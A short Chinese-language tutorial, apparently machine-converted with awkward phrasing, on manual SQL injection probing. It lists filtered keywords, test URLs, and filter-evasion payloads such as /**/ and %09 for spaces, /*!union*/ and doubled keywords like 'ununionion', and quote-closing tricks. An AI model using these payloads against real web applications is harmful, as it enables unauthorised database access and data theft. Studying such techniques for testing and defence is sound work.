工具的靈活性確定比不上人,在手工探測的基礎上再去自定義工具,纔是正道。sql
sql注入時手工探測技巧 ==================================================================================================== * 探測過濾了哪些字符 select|.|,|;|'|(|)|#|updatexml|from|where|if|limit|group|by|order|floor|sleep|rand|*|/*|*/information_schema.columns|table_schema|column_name ** 看下面是否和?id=1返回的結果同樣,同樣則說明被過濾 - 空格是否被過濾 ?id=0 1 - 關鍵字是否被過濾 ?id=select1 ?id=union1 ?id=insert1 ** 繞過 - 空格能夠用%09或/**/替換; - 關鍵字能夠用/*!union*/或ununionion替換 - information_schema.columns能夠用information_schema/**/.columns * 探測是否未遞歸替換 ** 看下面的條件是否爲假,爲假則說明未遞歸 - ?id=1 anandd 1=2 * 字符型注入注意, ** 探測語法完整性 - 有時可直接用「#」或「 -- 」註釋掉尾部多餘的單引號 - 有時不能,必須強制在尾部追加and '1'='1來閉合尾部單引號